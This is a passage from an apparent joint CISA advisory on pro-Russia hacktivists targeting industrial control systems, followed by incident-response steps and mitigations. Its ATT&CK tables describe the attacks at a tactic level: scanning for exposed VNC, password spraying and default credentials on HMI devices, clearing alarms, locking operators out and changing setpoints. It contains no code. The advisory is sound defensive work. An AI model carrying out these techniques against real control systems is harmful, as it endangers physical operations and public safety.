<p>See <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to <a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a> for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<p><a class="ck-anchor"></a></p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 1. Reconnaissance</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Gather Victim Organization Information</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a></td>
<td>Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a></td>
<td>Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 2. Resource Development</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Server</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a></td>
<td>Threat actors use virtual infrastructure to obfuscate identifiers.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 3. Initial Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a></td>
<td>Threat actors gain access through less secure HMI devices exposed to the internet.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 4. Persistence</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Valid Accounts</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a></td>
<td>Threat actors use password guessing tools to access legitimate accounts on the HMI devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 5. Credential Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Brute Force: Password Spraying</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a></td>
<td>Threat actors use tools to rapidly guess common or simple passwords.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 6. Lateral Movement</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Default Credentials</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a></td>
<td>Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.</td>
</tr>
<tr>
<td>Remote Services</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a></td>
<td>Threat actors leverage VNC services to access system HMI devices.</td>
</tr>
<tr>
<td>Remote Services: VNC</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a></td>
<td>Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 7. Execution</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Graphical User Interface</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a></td>
<td>Threat actors interact with HMI devices via GUIs, attempting to modify control devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 8. Inhibit Response Function</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Device Restart/Shutdown</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a></td>
<td>While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.</td>
</tr>
<tr>
<td>Alarm Suppression</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a></td>
<td>Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.</td>
</tr>
<tr>
<td>Change Credential</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a></td>
<td>Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 9. Impair Process Control</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modify Parameter</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a></td>
<td>Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.</td>
</tr>
<tr>
<td>Unauthorized Command Message</td>
<td><a href="https://attack.mitre.org/techniques/T0855/" target="_blank" title="T0855" data-entity-type="external">T0855</a></td>
<td>Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 10. Impact</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><a class="ck-anchor"><strong>Technique Title</strong></a></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Loss of Productivity and Revenue</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a></td>
<td>Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.</td>
</tr>
<tr>
<td>Loss of View</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a></td>
<td>Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. </td>
</tr>
<tr>
<td>Manipulation of Control</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a></td>
<td>Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  </td>
</tr>
</tbody>
</table>
<h2><strong>Incident Response</strong></h2>
<p>If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:</p>
<ol>
<li><strong>Determine which hosts were compromised and isolate them</strong> by quarantining or taking them offline.</li>
<li><strong>Initiate threat hunting activities to scope the intrusion</strong>. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.</li>
<li><strong>Reimage compromised hosts</strong>.</li>
<li><strong>Provision new account credentials</strong>.</li>
<li><strong>Report the compromise to CISA, FBI, and/or NSA</strong>. See the <a href="https://www.cisa.gov/#Contact" title="Contact Information"><strong>Contact Information</strong></a> section of this advisory.</li>
<li><strong>Harden the network to prevent additional malicious activity</strong>. See the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations "><strong>Mitigations </strong></a>section of this advisory for guidance.</li>
</ol>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<h3><strong>OT Asset Owners and Operators</strong></h3>
<p>The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<ul>
<li><strong>Reduce exposure of OT assets to the public-facing internet.</strong> When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>].
<ul>
<li><strong>Asset owners should use attack surface management services </strong>and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.<br><strong>Note:</strong> For more information on attack surface management, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/exposure-reduction" title="Internet Exposure Reduction Guidance">Internet Exposure Reduction Guidance</a>, CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> for U.S. critical infrastructure, and NSA’s <a href="https://www.nsa.gov/Portals/75/documents/resources/everyone/Attack%20Surface%20Management%20copy.pdf" target="_blank" title="Attack Surface Management" data-entity-type="external">Attack Surface Management</a> for the U.S. Defense Industrial Base.</li>
<li><strong>Implement network segmentation between IT and OT networks.</strong> Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementLogicalPhysicalNetworkSegmentation3I" title="CPG 3.I">CPG 3.I</a>].</li>
<li><strong>Consider implementing a firewall and/or virtual private network</strong> if exposure to the internet is necessary for controlling access to devices.
<ul>
<li>Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.</li>
<li>Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.</li>
<li>Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.</li>
<li>Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Adopt mature asset management processes</strong>, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ManageOrganizationalAssets2A" title="CPG 2.A">CPG 2.A</a>].
<ul>
<li><strong>Keep remote access services updated </strong>with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
<ul>
<li>Keep VNC systems updated with the latest version available.</li>
</ul>
</li>
<li><strong>Refer to the joint </strong><a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators"><strong>Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</strong></a> to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.</li>
</ul>
</li>
<li><strong>Ensure OT assets use robust authentication procedures.</strong>
<ul>
<li>Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.</li>
<li>Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ChangingDefaultPasswords3A" title="CPG 3.A">CPG 3.A</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B" title="CPG 3.B">CPG 3.B</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C" title="CPG 3.C">CPG 3.C</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>].</li>
<li>Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MonitorUnsuccessfulAutomatedLoginAttempts3E" title="CPG 3.E">CPG 3.E</a>].</li>
<li>Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ProhibitConnectionofUnauthorizedDevices3R" title="CPG 3.R">CPG 3.R</a>].</li>
<li>Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.</li>
</ul>
</li>
<li><strong>Enable control system security features </strong>that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#AdministratorsMaintainSeparateUserandPrivilegedAccounts3G" title="CPG 3.G">CPG 3.G</a>].</li>
<li><strong>Implement and practice business recovery/disaster recovery plans.</strong> Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
<ul>
<li>Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IncidentPlanningandPreparedness6A" title="CPG 6.A">CPG 6.A</a>].</li>
<li>Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainSystemBackupsRestorationAbility3O" title="CPG 3.O">CPG 3.O</a>].</li>
</ul>
</li>
<li><strong>Collect and monitor the traffic of OT assets and networking devices.</strong> This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.</li>
<li><strong>Review configurations for setpoint ranges or tag values </strong>to stay within safe ranges and establish alerting for deviations.</li>
<li><strong>Take a proactive approach in the procurement process</strong> by following the guidance outlined in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
</ul>
<h3>OT Device Manufacturers</h3>
<p>Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a>.</p>
<ul>
<li><strong>Eliminate default credentials and require strong passwords.</strong> The use of default credentials is a top weakness threat actors exploit to gain access to systems.</li>
<li><strong>Mandate MFA for privileged users.</strong> Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.</li>
<li><strong>Practice secure by default principles. </strong>OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
<ul>
<li><strong>Include logging at no additional charge.</strong> Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.</li>
</ul>
</li>
<li><strong>Publish Software Bill of Materials (SBOMs).</strong> Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s <a href="https://www.cisa.gov/sbom" title="Software Bill of Materials">SBOM webpage</a> for more information.</li>
</ul>
<p>Additionally, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="Secure by Design Alert">Secure by Design Alert</a> on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&amp;CK techniques described in this advisory.</p>
<p>To start:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to<strong> </strong><a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<p>Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:</p>
<ul>
<li>CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s <a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators">Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</a> offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.</li>
<li>CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on <a href="https://www.cisa.gov/resources-tools/resources/defending-ot-operations-against-ongoing-pro-russia-hacktivist-activity" title="Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity">Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity</a> that can help organizations protect OT systems from pro-Russia hacktivist activity.</li>
<li>NSA and CISA’s guidance on <a href="https://media.defense.gov/2022/Sep/22/2003083007/-1/-1/0/CSA_ICS_Know_the_Opponent_.PDF" target="_blank" title="Control System Defense: Know the Opponent" data-entity-type="external">Control System Defense: Know the Opponent</a> helps organizations defend OT and ICS assets against malicious cyber activity.</li>
<li>CISA and EPA’s resource page on <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a> to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
<ul>
<li>For additional guidance, see CISA, EPA, and FBI’s fact sheet on <a href="https://www.cisa.gov/resources-tools/resources/top-cyber-actions-securing-water-systems" title="Top Cyber Actions for Securing Water Systems">Top Cyber Actions for Securing Water Systems</a>.</li>
</ul>
</li>
<li>The Food and Ag-ISAC’s best practices on <a href="https://www.idfa.org/wordpress/wp-content/uploads/2023/07/Food-and-Ag-ISAC-Cybersecurity-Guide-2023_IDFA.pdf" target="_blank" title="Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises" data-entity-type="external">Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises</a> provides recommendations to help mitigate against cyber threats.</li>
<li>DOE and National Association of Regulatory Utility Commissioners <a href="https://www.naruc.org/core-sectors/critical-infrastructure-and-cybersecurity/cybersecurity-for-utility-regulators/cybersecurity-baselines/" target="_blank" title="Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)" data-entity-type="external">Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)</a> webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.</li>
</ul>
<p>Additional resources that apply to this advisory include:</p>
<ul>
<li>EPA’s <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector" data-entity-type="external">Cybersecurity for the Water Sector</a> resource page provides organizations with guidance on implementing basic cyber hygiene practices.</li>
<li>CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals">Cross-Sector Cybersecurity Performance Goals</a> enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.</li>
<li>CISA’s <a href="https://www.cisa.gov/audiences/small-and-medium-businesses/secure-your-business/require-strong-passwords" title="Require Strong Passwords">Require Strong Passwords</a> webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.</li>
<li>CISA, NSA, FBI, EPA, TSA, and international partners’ guidance <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
<li>DOE’s guidance on <a href="https://www.energy.gov/ceser/cyber-informed-engineering" target="_blank" title="Cyber-Informed Engineering" data-entity-type="external">Cyber-Informed Engineering</a> recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.</li>
<li>CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.</li>
<li>CISA, NSA, FBI, and international partners’ guidance on <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a> urges software manufacturers to provide customers with products that are safer and more secure.
<ul>
<li>See more information in these Secure by Design Alerts: <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-manufacturers-can-protect-customers-eliminating-default-passwords" title="How Manufacturers Can Protect Customers by Eliminating Default Passwords">How Manufacturers Can Protect Customers by Eliminating Default Passwords</a> and <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity">How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity</a>.</li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p><strong>U.S. organizations</strong> are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:</p>
<ul>
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov" title="contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472) or your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office" data-entity-type="external">FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" target="_blank" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
</ul>
<p><strong>Australian organizations:</strong> Visit <a href="https://www.cyber.gov.au/" target="_blank" title="cyber.gov.au" data-entity-type="external">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</p>
<p><strong>Canadian organizations:</strong> Report incidents by emailing Cyber Centre at <a href="mailto:contact@cyber.gc.ca" target="_blank" title="contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p>
<p><strong>New Zealand organizations:</strong> Report cyber security incidents to <a href="mailto:incidents@ncsc.govt.nz" target="_blank" title="incidents@ncsc.govt.nz">incidents@ncsc.govt.nz</a> or call 04 498 7654.</p>
<p><strong>United Kingdom organizations:</strong> Report a significant cyber security incident: <a href="https://report.ncsc.gov.uk/" target="_blank" title="report.ncsc.gov.uk" data-entity-type="external">report.ncsc.gov.uk</a> (monitored 24 hours) or, for urgent assistance, call 03000 200 973.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.</p>
<h2><strong>Version History</strong></h2>
<p><strong>December 09, 2025:</strong> Initial version.</p>
<h2><strong>Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups</strong></h2>
<p>For further information on targeting methodologies for pro-Russia hacktivist groups, see:</p>
<ul>
<li>CISA’s alert <a href="https://www.cisa.gov/news-events/alerts/2025/05/06/unsophisticated-cyber-actors-targeting-operational-technology" title="Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology">Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology</a>;</li>
<li>The joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a>; and</li>
<li>CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Cyber Threat">Russia Cyber Threat</a> webpage.</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a></h2>
<p>The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.</p>
<p><strong>Note:</strong> Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.</p>
<ul>
<li>GRU military unit 74455
<ul>
<li>Sandworm Team</li>
<li>Voodoo Bear</li>
<li>Seashell Blizzard</li>
<li>APT44</li>
</ul>
</li>
<li>Cyber Army of Russia Reborn (CARR)
<ul>
<li>CyberArmy of Russia</li>
<li>Народная CyberАрмия (НКА)</li>
<li>People’s CyberArmy of Russia (PCA)</li>
<li>Russian CyberArmy Team (RCAT)</li>
</ul>
</li>
<li>NoName057(16)
<ul>
<li>NoName057(16) Spain</li>
<li>NoName057(16) Italy</li>
<li>NoName057(16) France</li>
</ul>
</li>
<li>Z-Pentest
<ul>
<li>Z-Pentest Beograd</li>
<li>Z-Pentest Alliance</li>
<li>Z-Alliance</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
